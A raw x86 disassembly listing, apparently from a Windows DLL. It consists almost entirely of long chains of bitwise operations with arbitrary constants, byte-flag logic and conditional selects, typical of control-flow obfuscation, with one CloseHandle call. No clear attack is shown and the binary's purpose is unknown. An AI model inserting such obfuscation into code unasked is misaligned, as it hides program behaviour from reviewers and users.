mov dword [ebp - 0x20], esi
mov edx, esi
and edx, 0x2044bcea
and edi, 0xdfbb4315
or edi, edx
mov dword [ebp - 0x1c], edi
or eax, 0x80204708
mov edx, dword [ebp - 0x24]
and edx, 0x150a8041
and eax, 0xe8a46fbc
or eax, edx
mov esi, ebx
mov edi, ebx
xor edi, 0x5082677d
mov dword [ebp - 0x2c], edi
xor esi, 0xaf7d9882
mov edx, esi
mov ebx, esi
mov dword [ebp - 0x30], esi
and edx, 0xc247dbe9
mov esi, edi
and esi, 0x3db82416
or esi, edx
xor esi, 0xbfc9731c
mov edx, esi
xor edx, ebx
and edx, esi
mov dword [ebp - 0x18], edx
and ecx, 0xc27ff1da
mov esi, dword [ebp - 0x14]
mov edx, esi
and edx, 0x3d800e25
or edx, ecx
xor edx, 0x400ea6d0
and esi, 0x8271570a
or esi, edx
mov dword [ebp - 0x14], esi
mov ebx, eax
xor ebx, 0x20800890
xor eax, 0x175b9043
mov ecx, eax
and ecx, 0xc93fb36e
and ebx, 0x34800891
or ebx, ecx
mov edi, dword [ebp - 0x1c]
xor edi, 0xa235ebe0
or edi, dword [ebp - 0x20]
mov ecx, ebx
xor ecx, 0x34800891
mov esi, ecx
mov ecx, edi
xor ecx, 0xd091fa7c
mov edx, ecx
and edx, edi
or esi, edi
mov dword [ebp - 0x1c], esi
not edi
and ecx, edi
mov edi, edx
not edi
mov esi, edi
and esi, 0x84c3625
and edx, 0xf7b3c9da
or edx, esi
mov esi, ecx
not esi
or edi, esi
and esi, 0x84c3625
and ecx, 0xf7b3c9da
or ecx, esi
xor ecx, edx
not edi
or edi, ecx
mov ecx, ebx
xor ecx, 0x2c0102
or ecx, 0xd091d25c
xor ebx, 0x4000001
and ecx, 0xf0bdd3de
and ebx, 0xd020001
or ebx, ecx
or eax, 0x226c0582
and eax, 0xf2fdd7de
mov ecx, dword [ebp - 0x24]
and ecx, 0x2820
or ecx, eax
xor ecx, ebx
mov eax, ecx
xor eax, ecx
not eax
and eax, edi
xor eax, ecx
mov ecx, dword [ebp - 0x1c]
not ecx
and ecx, 0xfdbfbbff
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov ebx, dword [ebp - 0x18]
mov edx, ebx
not edx
mov eax, edx
and eax, 0x9822cdad
mov ecx, ebx
and ecx, 0x67dd3252
or ecx, eax
mov edi, ecx
xor edi, 0x67dd3252
mov dword [ebp - 0x24], edi
xor ecx, 0x9822cdad
mov esi, ecx
or esi, 0x56021244
and esi, 0x568b9f4e
and edi, 0x29404080
or edi, esi
or edx, 0x898d0a
and edx, 0x568b9f4e
mov eax, ebx
and eax, 0x80342031
or eax, edx
xor eax, edi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov edx, eax
not edx
mov ebx, edx
or ebx, 0xd6363275
mov edi, ebx
and edi, 0x5cef5b0b
mov esi, eax
and esi, 0x21008480
or esi, edi
mov edi, eax
xor edi, 0xd6363275
and edi, edx
mov eax, edi
not eax
or ebx, eax
and eax, 0x5cef5b0b
and edi, 0xa310a4f4
or edi, eax
xor edi, esi
not ebx
or ebx, edi
mov edi, ebx
xor edi, ebx
not edi
and edi, dword [ebp - 0x18]
xor edi, ebx
mov eax, ecx
and eax, 0xdd000d56
mov esi, dword [ebp - 0x24]
and esi, 0x22fff2a9
or esi, eax
or ecx, edx
and edx, 0xdd000d56
mov eax, dword [ebp - 0x14]
and eax, 0x22fff2a9
or eax, edx
xor eax, esi
not ecx
or ecx, eax
not ecx
or ecx, edi
mov edx, dword [ebp - 0x1c]
xor edx, 0x157b377f
xor ecx, 0x157b377f
mov eax, ecx
xor eax, ecx
not eax
and eax, edx
xor eax, ecx
mov ecx, dword [ebp - 0x20]
mov edx, ecx
and ecx, 0xfc9a3a5c
mov esi, ecx
mov ecx, dword [ebp - 0x28]
and ecx, 0x365c5a3
or ecx, esi
mov esi, dword [ebp - 0x30]
or edx, esi
and esi, 0xfc9a3a5c
mov edi, dword [ebp - 0x2c]
and edi, 0x365c5a3
or edi, esi
xor edi, ecx
mov ecx, edi
not ecx
mov esi, ecx
and esi, 0xece25864
and edi, 0x131da79b
or edi, esi
xor edi, edx
xor edi, 0x131da79b
or ecx, edx
not ecx
or ecx, edi
mov esi, ecx
not esi
mov edx, esi
and edx, ecx
mov edi, ecx
and edi, 0x42b535c0
and esi, 0xbd4aca3f
or esi, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0x42b535c0
and edx, 0xbd4aca3f
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov esi, ecx
not esi
and ecx, 0x1eceafbe
and esi, 0xe1315041
or esi, ecx
mov edx, esi
xor edx, 0xe0ea634
xor esi, 0x41201000
and esi, 0x51e0198a
and edx, 0xae1fe675
or edx, esi
mov esi, edx
xor esi, 0xae1fe675
mov ecx, eax
not ecx
mov edi, edx
xor edi, 0x51e0198a
or ecx, edi
and edi, 0x2218666a
xor edx, 0x8c07801f
and edx, esi
or edx, edi
xor edx, eax
xor edx, 0x2218666a
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x16189040
mov esi, ecx
and esi, 0x8402a84
or esi, edx
xor esi, 0x8402a84
mov edx, ecx
xor edx, 0x1e58bac4
and edx, ecx
or esi, edx
not edx
and edx, 0xe1a7453b
and esi, 0x1e58bac4
or esi, edx
mov edx, esi
not edx
and esi, 0xdc8ac94
and edx, 0xf237536b
or edx, esi
mov esi, edx
xor esi, 0x5dc4474b
xor edx, 0xf237536b
and edx, esi
mov esi, eax
and esi, 0x500cebdf
and ecx, 0xaff31420
or ecx, esi
xor eax, ecx
and eax, ecx
mov edi, edx
not edi
mov esi, eax
not esi
and eax, edi
or edi, esi
and esi, edx
or esi, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xbcdad0ce
and esi, 0x43252f31
or esi, eax
xor esi, edi
xor esi, 0x43252f31
or ecx, edi
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x208b80
mov esi, ecx
and esi, 0x1d1f2418
or esi, edx
mov edx, esi
xor edx, 0x15060410
xor esi, 0x22091c1
or eax, 0x839a188
and esi, 0xa39b1c9
and edx, 0x15060e10
or edx, esi
and eax, 0xa39b1c9
and ecx, 0xe0c04026
or ecx, eax
xor ecx, edx
mov esi, ecx
xor esi, 0x4167fbdb
mov ebx, ecx
xor ebx, 0xbe980424
mov eax, ebx
and eax, 1
xor ecx, 0x4167fbda
and ecx, esi
or ecx, eax
mov eax, ecx
not eax
mov edi, eax
and edi, 0x5e4b990e
and ecx, 0xa1b466f1
or ecx, edi
mov edi, esi
and edi, 0x5e4b990e
mov edx, ebx
and edx, 0xa1b466f1
or edx, edi
xor edx, ecx
not edx
or edx, eax
mov dword [ebp - 0x14], edx
mov ecx, esi
and ecx, 0x25100261
mov eax, ebx
and eax, 0xea2004
or eax, ecx
mov edx, eax
xor edx, 0x482004
or edx, 0x42040092
xor eax, 0x20000200
and eax, 0x20a20200
and edx, 0x475c20f7
or edx, eax
and ebx, 0x4314b267
and esi, 0xbceb4d98
or esi, ebx
mov ecx, esi
xor ecx, 0xbceb4d98
xor esi, 0x40260
and esi, 0x3c2d0778
mov edi, ecx
and edi, 0xc3d2f887
or edi, esi
mov eax, edx
xor eax, 0x475c20f7
xor edi, 0x19d7251d
and ecx, 0x25fa2265
or ecx, edi
mov esi, edx
xor esi, 0x8083cc00
and esi, 0xc1d7ccc1
xor edx, 0xf22241
and edx, eax
and eax, 0x24282224
or eax, esi
mov edi, ecx
not edi
mov esi, ecx
and esi, 0x885f8e96
xor ecx, 0x3254e451
and ecx, edi
and edi, 0x77a07169
or edi, esi
mov ebx, edi
xor ebx, 0x77a07169
mov dword [ebp - 0x18], ebx
mov esi, edi
xor esi, 0x45f49538
and esi, ebx
or ecx, esi
mov dword [ebp - 0x1c], ecx
mov esi, eax
xor esi, 0xc1d7ccc1
mov ebx, esi
or ebx, 0x3254e451
mov dword [ebp - 0x20], eax
xor eax, 0xc000000
mov ecx, ebx
and ecx, 0x237e0264
and eax, 0xcc810880
or eax, ecx
mov ecx, edx
not ecx
or ebx, ecx
and ecx, 0x237e136e
and edx, 0x4802001
or edx, ecx
xor edx, eax
not ebx
or ebx, edx
xor ebx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
xor ecx, 0x3e28223e
mov eax, esi
and eax, 0x40540000
and ecx, 0x3faa2aff
or ecx, eax
xor edi, 0x885f8e96
or esi, edi
and edi, 0xc055d500
mov eax, dword [ebp - 0x18]
and eax, 0x3faa2aff
or eax, edi
xor eax, ecx
mov edx, eax
mov eax, dword [ebp - 0x14]
mov ecx, eax
not ecx
not esi
or esi, edx
not esi
or esi, ebx
mov edx, ecx
mov ebx, eax
and eax, 0xa1a95496
and ecx, 0x5e56ab69
or ecx, eax
mov edi, esi
xor edi, 0xda05dd9b
xor esi, 0x25fa2264
xor ecx, esi
mov eax, ebx
and esi, ebx
and edx, edi
or edx, esi
not edx
or edx, ebx
xor ecx, 0x5e56ab69
and ecx, edi
or edi, ebx
mov eax, ecx
not eax
mov esi, eax
and esi, 0x56d496da
and ecx, 0xa92b6925
or ecx, esi
xor ecx, edi
xor ecx, 0xa92b6925
or eax, edi
not eax
or eax, ecx
mov esi, eax
not esi
mov ecx, edx
or ecx, esi
and esi, 0x4ecb9274
and eax, 0xb1346d8b
or eax, esi
xor eax, edx
mov edx, eax
xor edx, 0xb1346d8b
xor eax, 0x4ecb9274
mov esi, eax
and esi, 0xfba1d481
and edx, 0x45e2b7e
or edx, esi
xor edx, ecx
xor edx, 0x45e2b7e
or eax, ecx
not eax
or eax, edx
mov ebx, eax
not ebx
mov esi, eax
and esi, 0x4c9fff1f
mov ecx, ebx
and ecx, 0xb36000e0
or ecx, esi
mov esi, ecx
xor esi, 0xb36000e0
mov edi, ecx
xor edi, 0x811805
xor ecx, 0x23e158cf
and ecx, esi
and edi, 0x10811825
and esi, 0x8000400a
or esi, edi
xor esi, 0x8000400a
or esi, ecx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x6f7ea7d0
and esi, 0x9081582f
or esi, edi
xor ecx, esi
and ecx, esi
mov edx, ecx
mov dword [ebp - 0x14], ecx
mov edi, ebx
and edi, 0x9081582f
mov esi, eax
xor esi, 0x9081582f
and esi, eax
or esi, edi
not esi
and ebx, 0xc6906612
and eax, 0x396f99ed
or eax, ebx
xor eax, 0x396f99ed
or eax, esi
mov ecx, eax
mov ebx, eax
xor ebx, 0x70855500
and ebx, eax
mov esi, eax
not esi
and ecx, 0x69ccc10
mov edi, esi
and edi, 0xf96333ef
or edi, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x569713fa
mov edx, dword [ebp - 0x14]
and edx, 0xa968ec05
or edx, eax
mov eax, edi
xor eax, 0xa9602005
xor edi, 0x6940010
and edi, 0x569713fa
and eax, 0xa968ec05
or eax, edi
xor eax, edx
mov edx, dword [ebp - 0x14]
mov edi, edx
xor edi, 0x8f7aaaff
and edi, edx
not eax
or eax, ecx
and ecx, 0x8568aaa9
and edx, 0xa120056
or edx, ecx
and esi, 0x70855500
or esi, ebx
mov ecx, edx
xor ecx, 0x8120056
xor edx, 0xf5edffa9
mov ebx, edx
and ebx, 0x36a58409
and ecx, 0x895a2af6
or ecx, ebx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0x36a58409
and edi, 0xc95a7bf6
or edi, ebx
xor edi, ecx
not edx
or edx, edi
mov ecx, esi
xor ecx, esi
not ecx
and ecx, edx
xor ecx, esi
mov esi, ecx
not esi
mov edx, esi
and edx, 0x5290d586
mov edi, ecx
and edi, 0xad6f2a79
or edi, edx
mov ebx, edi
xor ebx, 0x1000d104
or ebx, 0x64400203
mov edx, edi
xor edi, 0x80010030
and ebx, 0x7d64f307
and edi, 0x80110030
or edi, ebx
xor edx, 0xad6f2a79
or esi, 0x1924f104
or edx, eax
xor eax, 0x66ca0ecb
and esi, 0x7d64f307
and ecx, 0x28a0cc8
or ecx, esi
xor ecx, edi
mov esi, ecx
xor esi, ecx
not esi
and esi, eax
xor esi, ecx
mov ecx, edx
not ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0x8003a878
and esi, 0x7ffc5787
or esi, edi
or eax, edx
and edx, 0x8003a878
and ecx, 0x7ffc5787
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov edx, eax
not edx
mov esi, eax
mov ecx, eax
mov edi, edx
and edi, 0x1efd4d84
and eax, 0xe102b27b
or eax, edi
mov edi, edx
xor eax, 0x734b933b
or eax, edx
or edx, 0x1d480800
or esi, 0x1a012
and esi, 0x1d49a812
and edi, 0xc01657ac
or edi, esi
and edx, 0x1d49a812
and ecx, 0x22a00041
or ecx, edx
xor ecx, edi
mov edx, ecx
xor edx, 0x2018042
xor ecx, 0xdd5e5fac
and edx, 0x4e4d954a
mov esi, ecx
and esi, 0xb1b26ab5
or esi, edx
xor esi, 0x23fb4bf5
and ecx, 0x6db6debf
or ecx, esi
mov edi, ecx
not edi
mov edx, ecx
and edx, 0x72de90e3
xor ecx, 0xe96045a4
and ecx, edi
and edi, 0x8d216f1c
or edi, edx
mov edx, edi
mov esi, edi
xor esi, 0x129e9043
or esi, 0xe96045a4
xor edi, 0x4012200
mov ebx, esi
and ebx, 0xf0d21c1d
and edi, 0x60da242
or edi, ebx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0xf0d21c1d
and ecx, 0xf2de3e2
or ecx, ebx
xor edx, 0x8d216f1c
xor ecx, edi
not esi
or esi, ecx
or edx, eax
xor eax, 0xe96045a4
mov edi, eax
xor edi, eax
not edi
and edi, esi
xor edi, eax
mov eax, edx
not eax
mov ecx, edi
not ecx
mov esi, ecx
and esi, 0x24dd9b2d
and edi, 0xdb2264d2
or edi, esi
or ecx, edx
and edx, 0x24dd9b2d
and eax, 0xdb2264d2
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov edx, ecx
xor edx, 0xfd378690
mov eax, ecx
mov ebx, ecx
mov dword [ebp - 0x18], ecx
xor eax, 0x2c8796f
mov dword [ebp - 0x14], eax
and eax, 0x41250100
mov edi, edx
mov ecx, edx
and edi, 0x88020017
or edi, eax
mov eax, edi
xor eax, 0x80020004
xor edi, 0x77fdffe8
mov edx, edi
and edx, 0x7ee1bf7b
and eax, 0x81060004
or eax, edx
mov edx, ebx
xor edx, 0x34108787
and edx, ecx
mov ebx, ecx
mov dword [ebp - 0x1c], ecx
mov esi, edx
not esi
or edi, esi
and esi, 0x7ee1bf7b
and edx, 0x811e4084
or edx, esi
xor edx, eax
not edi
or edi, edx
mov eax, edi
xor eax, 0x165872a0
xor edi, 0x88240014
and eax, 0x575b73a3
and edi, 0xa8a48c5c
or edi, eax
mov eax, edi
xor eax, 0x575b73a3
xor edi, 0xa8a48c5c
and edi, eax
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0x7a8a080
mov edx, ebx
and edx, 0xf8575f7f
or edx, eax
mov esi, edi
not esi
mov eax, esi
and eax, 0xe09fe76b
and edi, 0x1f601894
or edi, eax
xor edx, 0xf8575f7f
or edx, ecx
mov ebx, edx
not ebx
mov eax, edx
xor eax, 0x1f601894
and eax, ebx
or ebx, 0x1f601894
mov ecx, ebx
and ecx, 0xebf5282f
or esi, edx
and edx, 0xac740
or edx, ecx
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0xebf5282f
and eax, 0x140ad7d0
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
xor ebx, edi
not esi
or esi, ebx
mov edi, esi
not edi
mov eax, edi
and eax, 0x95e02a10
mov ecx, esi
and ecx, 0x6803102a
or ecx, eax
xor ecx, 0x6803102a
mov eax, esi
xor eax, 0xfde33a3a
and eax, esi
or eax, ecx
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x18]
xor edx, 0xff2b4355
mov ecx, dword [ebp - 0x14]
and edx, ecx
or ecx, 0x21cc5c5
mov eax, ecx
and eax, 0x94a9b2d2
mov ebx, dword [ebp - 0x1c]
and ebx, 0x69420828
or ebx, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0x94a9b2d2
and edx, 0x6b564d2d
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
xor eax, ecx
not eax
and eax, dword [ebp - 0x20]
xor eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x3a4fa12c
and eax, 0xc5b05ed3
or eax, edx
and esi, 0x3a4fa12c
and edi, 0xc5b05ed3
or edi, esi
xor edi, eax
xor ecx, edi
test ecx, edi
sete ah
setne ch
cmp dword [0x10049904], 0xa
setl cl
setge dl
mov al, dl
or al, ch
and ch, dl
xor al, 1
or al, ch
xor al, 1
xor cl, al
and al, cl
xor cl, 1
or cl, al
mov al, cl
xor al, 1
and al, cl
xor al, 1
mov ch, cl
xor ch, al
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor cl, 1
mov dh, dl
xor dh, ah
or dl, ah
mov ah, dl
xor ah, 1
or dh, ah
mov ch, ah
xor ch, dh
and ch, ah
xor ah, dl
and ah, dh
xor ah, dl
xor ch, 1
xor ah, 1
mov dl, ch
xor dl, ah
or ah, ch
xor ah, 1
or ah, dl
mov edx, ecx
and dl, al
xor dl, 1
mov ch, al
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
and dl, ch
xor dl, 1
mov dh, ch
xor dh, dl
or dl, ch
xor dl, 1
or dl, dh
mov ch, ah
xor ch, 1
xor dl, ch
and ah, al
and ch, cl
or ch, ah
mov ah, ch
xor ah, 1
and cl, ah
and ch, al
or ch, cl
xor ch, 1
or ch, ah
mov al, ch
xor al, 1
mov cl, dl
xor cl, ch
or al, dl
mov dh, cl
xor dh, al
or al, cl
mov ah, cl
xor ah, 1
and ah, dl
or ch, dl
xor ah, 1
mov cl, ah
xor cl, ch
or ah, ch
xor ah, 1
or ah, cl
xor al, 1
or al, dh
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov esi, 0xb6644bcd
mov eax, 0x6badce68
cmovne esi, eax
test cl, 1
mov eax, 0xb6644bcd
cmovne eax, esi
jmp 0x10027f4a
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov ecx, dword [0x10049900]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
mov edi, ecx
and edx, 0x2c483a13
mov ecx, eax
mov dword [ebp - 0x18], eax
and ecx, 0xd3b7c5ec
or ecx, edx
mov esi, ecx
xor esi, 0x120
xor ecx, 0x2c483a13
mov edx, ecx
and edx, 0x26079000
and esi, 0x122
or esi, edx
mov edx, edi
mov ebx, edi
and edx, eax
mov edi, edx
not edi
or ecx, edi
and edi, 0x26079000
and edx, 0x122
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov edi, ecx
not edi
or edi, 0x81a020c8
and ecx, 0x24058020
and edi, 0x83a231ca
or edi, ecx
mov ecx, ebx
mov eax, ebx
and ecx, 0x3ca792fa
mov edx, dword [ebp - 0x18]
and edx, 0xc3586d05
or edx, ecx
mov esi, edi
xor esi, 0x83a231ca
xor edi, 0x14418c24
and edi, 0x97c19de6
mov ebx, esi
and ebx, 0x20060000
or ebx, edi
xor edx, 0xe55ffc27
or edx, eax
mov edi, edx
not edi
mov ecx, edx
and ecx, 0x458f6109
xor edx, 0xd1eb9042
and edx, edi
and edi, 0xba709ef6
or edi, ecx
xor ebx, 0x683e6219
mov ecx, edi
xor ecx, 0xba709ef6
xor edi, 0x6b9b0eb4
and edi, ecx
or ecx, ebx
and ebx, 0x26044fad
and esi, 0x39002
or esi, ebx
or edx, edi
xor edx, esi
xor edx, 0x8102010
not ecx
or ecx, edx
mov ebx, ecx
xor ebx, 0xd9f86edd
xor ecx, 0x26079122
mov edx, ecx
and edx, 0x60502480
mov esi, ebx
and esi, 0xf088849
or esi, edx
mov edx, esi
xor edx, 0x8080048
xor esi, 0x90f06714
and esi, 0x97f0ef15
and edx, 0x680800c8
or edx, esi
or ecx, 0x750ac01
and ecx, 0x97f0ef15
and ebx, 0x71022
or ebx, ecx
xor ebx, edx
mov edx, ebx
xor edx, 0x90a75336
xor ebx, 0x6f58acc9
mov edi, ebx
and edi, edx
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x8d14b3ab
and edi, 0x72eb4c54
or edi, ecx
or esi, edx
and edx, 0x8d14b3ab
and ebx, 0x72eb4c54
or ebx, edx
xor ebx, edi
not esi
or esi, ebx
mov edx, esi
not edx
and esi, 0x6bec626e
and edx, 0x94139d91
or edx, esi
mov ecx, edx
xor ecx, 0x8680046
xor edx, 0x80030100
and edx, 0xe3876328
and ecx, 0x1c789cd7
or ecx, edx
mov dword [ebp - 0x14], ecx
mov ecx, eax
mov edx, eax
and edx, 0x44952526
mov eax, dword [ebp - 0x18]
mov esi, eax
and esi, 0xbb6adad9
or esi, edx
mov edx, esi
xor edx, 0x19
xor esi, 0x4110002
or ecx, 0x4130002
or esi, 0x2684060
and esi, 0x67b4062
and edx, 0x40842519
or edx, esi
and ecx, 0x67b4062
and eax, 0xb9009a84
or eax, ecx
xor eax, edx
mov edi, eax
xor edi, 0xbb68dae4
mov edx, eax
mov ecx, eax
xor edx, 0x40800012
and edx, 0xe9e89a32
xor ecx, 0x3f792686
and ecx, edi
and edi, 0x161765cd
or edi, edx
mov esi, edi
xor esi, 0x161765cd
mov ebx, edi
xor ebx, 0x6df96650
and ebx, esi
mov edx, ebx
not edx
mov eax, edx
and eax, 0xbf52edc7
and ebx, 0x40ad1238
or ebx, eax
mov eax, ecx
not eax
or edx, eax
and eax, 0xbf52edc7
and ecx, 0x40ad1238
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov ebx, edx
xor ebx, 0x53ec0184
xor edi, 0x89489a22
and edi, 0x995abb63
and esi, 0x66a5449c
or esi, edi
xor edx, 0x8411fc62
mov eax, edx
and eax, 0xac02465b
and ebx, 0x53fdb9a4
or ebx, eax
mov edi, esi
xor edi, 0x42a50084
xor esi, 0x995abb63
or edx, esi
and esi, 0xac02465b
and edi, 0x53fdb9a4
or edi, esi
mov ecx, dword [ebp - 0x14]
mov eax, ecx
xor eax, 0x1c789cd7
xor edi, ebx
not edx
or edx, edi
mov esi, edx
not esi
mov edi, esi
and edi, 0xb502cc5c
and esi, edx
and edx, 0x4afd33a3
or edx, edi
xor edx, 0x4afd33a3
or edx, esi
mov esi, edx
not esi
and edx, 0xd1d7da65
and esi, 0x2e28259a
or esi, edx
xor ecx, 0xe3876328
mov edi, ecx
mov dword [ebp - 0x14], ecx
mov edx, eax
and edi, 0x27443201
and eax, 0xd8bbcdfe
or eax, edi
mov edi, esi
xor edi, 0x2e28259a
xor esi, 0xd1d7da65
xor eax, esi
xor eax, 0xd8bbcdfe
and eax, edi
mov ecx, esi
and esi, 0x5a14efa6
mov ebx, edi
and edi, 0xa5eb1059
or edi, esi
xor edi, 0x5a14efa6
mov esi, dword [ebp - 0x14]
or edi, esi
and esi, 0x3b7fbff5
and edx, 0xc480400a
or edx, esi
and ecx, 0x33db3632
and ebx, 0xcc24c9cd
or ebx, ecx
mov ecx, edx
xor ecx, 0x4080400a
xor edx, 0x3b7fbff5
mov esi, edx
and esi, 0x8f68b4e5
and ecx, 0x70974b1a
or ecx, esi
mov esi, ebx
xor esi, 0x40044908
xor ebx, 0x33db3632
or edx, ebx
and ebx, 0x8f68b4e5
and esi, 0x70974b1a
or esi, ebx
xor esi, ecx
not edx
or edx, esi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x9beb1198
and eax, 0x6414ee67
or eax, esi
mov ebx, edx
not ebx
xor eax, edi
xor eax, 0x6414ee67
or ecx, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, edx
or esi, eax
and edx, 0xd4d795cb
and ebx, 0x2b286a34
or ebx, edx
and eax, 0xd4d795cb
and ecx, 0x2b286a34
or ecx, eax
xor ecx, ebx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x7625428
and ecx, 0xf89dabd7
or ecx, edx
xor ecx, esi
xor ecx, 0xf89dabd7
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
mov ebx, ecx
and edx, 0xf5f33af5
mov ecx, eax
and ecx, 0xa0cc50a
or ecx, edx
mov edi, ecx
xor edi, 0xa0cc50a
xor ecx, 0x81410025
and ecx, 0x89498127
mov edx, edi
and edx, 0x76b67ed8
or edx, ecx
mov ecx, edx
xor ecx, 0x76b67ed8
xor edx, 0xe551b757
and edx, ecx
mov ecx, edi
and ecx, 0x93e7c98f
or ecx, edx
xor ecx, 0x6c183671
and edi, 1
or edi, ecx
mov edx, edi
not edx
or ecx, 0x12e082c0
and ecx, 0x13e2aac6
mov esi, edx
and edx, 0xe00c0110
or edx, ecx
or esi, 0x1022806
and esi, 0x13e2aac6
and edi, 0xc115429
or edi, esi
xor edi, edx
mov ecx, edi
xor ecx, 0x8f010a9
xor edi, 0xe10e2916
mov edx, edi
and edx, 0xf60bcf46
and ecx, 0x9f430b9
or ecx, edx
xor ecx, 0xf60bcf46
xor edi, ecx
and edi, ecx
mov dword [ebp - 0x14], edi
mov edx, eax
xor edx, 0x254868bb
and edx, eax
mov ecx, ebx
or ecx, edx
not edx
and edx, 0xdab79744
and ecx, 0x254868bb
or ecx, edx
mov edi, ecx
not edi
or edi, 1
and ecx, 0x519b3ab4
and edi, 0xae64c54b
or edi, ecx
mov edx, ebx
mov ecx, ebx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov esi, edi
xor esi, 0x26608048
xor edx, eax
and edx, eax
mov dword [ebp - 0x18], edx
mov eax, edi
xor eax, 0x519b3ab4
mov ecx, eax
and ecx, 0x99174d83
and esi, 0x66e8b27c
or esi, ecx
mov dword [ebp - 0x24], esi
mov ecx, esi
xor ecx, 0x66e8b27c
mov dword [ebp - 0x1c], ecx
xor esi, 0xce19037b
and esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x8670bf9f
and esi, 0x798f4060
or esi, edx
or eax, 0x570e4ef8
xor edi, 0x28000000
or ecx, eax
and eax, 0x8670bf9f
and edi, 0x28810000
or edi, eax
xor edi, esi
not ecx
or ecx, edi
mov eax, dword [ebp - 0x18]
mov edx, eax
not edx
mov dword [ebp - 0x20], edx
mov esi, eax
xor esi, 0x570e4ef8
mov edi, esi
and edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0xbd5a8f68
and edi, 0x42a57097
or edi, edx
and esi, eax
mov eax, esi
not eax
or ebx, eax
and eax, 0xbd5a8f68
and esi, 0x42a57097
or esi, eax
xor esi, edi
not ebx
or ebx, esi
xor ebx, ecx
mov edx, dword [ebp - 0x24]
xor edx, 0x99174d83
mov eax, edx
and eax, 0x48457a32
mov ecx, dword [ebp - 0x1c]
and ecx, 0xb7ba85cd
or ecx, eax
mov eax, dword [ebp - 0x18]
or edx, eax
and eax, 0x48457a32
mov esi, eax
mov eax, dword [ebp - 0x20]
and eax, 0xb7ba85cd
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0x2db826a3
and ebx, 0xd247d95c
or ebx, eax
mov ecx, edx
not ecx
or esi, edx
and edx, 0x2db826a3
and ecx, 0xd247d95c
or ecx, edx
xor ecx, ebx
not esi
or esi, ecx
mov ebx, dword [ebp - 0x14]
mov edx, ebx
not edx
mov eax, ebx
and eax, 0xfa17d9b9
mov ecx, edx
and ecx, 0x5e82646
or ecx, eax
xor ecx, 0x994fd6d0
mov eax, ecx
xor eax, ebx
and eax, ecx
mov dword [ebp - 0x18], eax
mov ebx, esi
not ebx
mov ecx, esi
and ecx, 0x5c006
mov eax, ebx
and eax, 0x9ca23090
or eax, ecx
mov ecx, eax
xor ecx, 0xc802090
or ecx, 0x3100761
xor eax, 0x54002
and eax, 0x90275002
and ecx, 0xf90a7f5
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov eax, edx
xor eax, esi
and eax, edx
mov dword [ebp - 0x20], eax
mov edi, edx
and edx, esi
mov dword [ebp - 0x24], edx
and esi, 0x7c43cfcf
mov eax, ebx
and eax, 0x83bc3030
or eax, esi
xor eax, 0xe0e43f59
mov edx, ebx
and edx, 0x9ca7f096
or edx, eax
mov ecx, dword [ebp - 0x18]
mov eax, ecx
not eax
mov esi, eax
and eax, 0xceba613d
and ecx, 0x31459ec2
or ecx, eax
or edi, 0x9ca7f096
or esi, edi
and edi, 0xceba613d
mov eax, dword [ebp - 0x14]
and ebx, eax
mov dword [ebp - 0x18], ebx
and eax, 0x21400e40
or eax, edi
xor eax, ecx
not esi
or eax, esi
mov ecx, dword [ebp - 0x1c]
mov esi, ecx
xor esi, 0xf90a7f5
mov ebx, ecx
xor ebx, 0xf06f580a
xor ecx, 0xea4190b8
and ecx, ebx
mov edi, esi
and edi, 0x1826c092
or edi, ecx
mov dword [ebp - 0x1c], edi
mov ecx, edx
not ecx
mov dword [ebp - 0x14], ecx
mov edi, edx
xor edi, 0x1a2ec8b2
and edi, edx
mov ecx, dword [ebp - 0x14]
and ecx, 0x1a2ec8b2
or ecx, edi
mov edi, ecx
xor edi, ecx
not edi
and edi, dword [ebp - 0x1c]
xor edi, ecx
mov ecx, esi
and ecx, 0x1821e016
and ebx, 0x87ce17e1
or ebx, ecx
mov ecx, dword [ebp - 0x14]
or esi, ecx
and ecx, 0x7831e81e
and edx, 0x87ce17e1
or edx, ecx
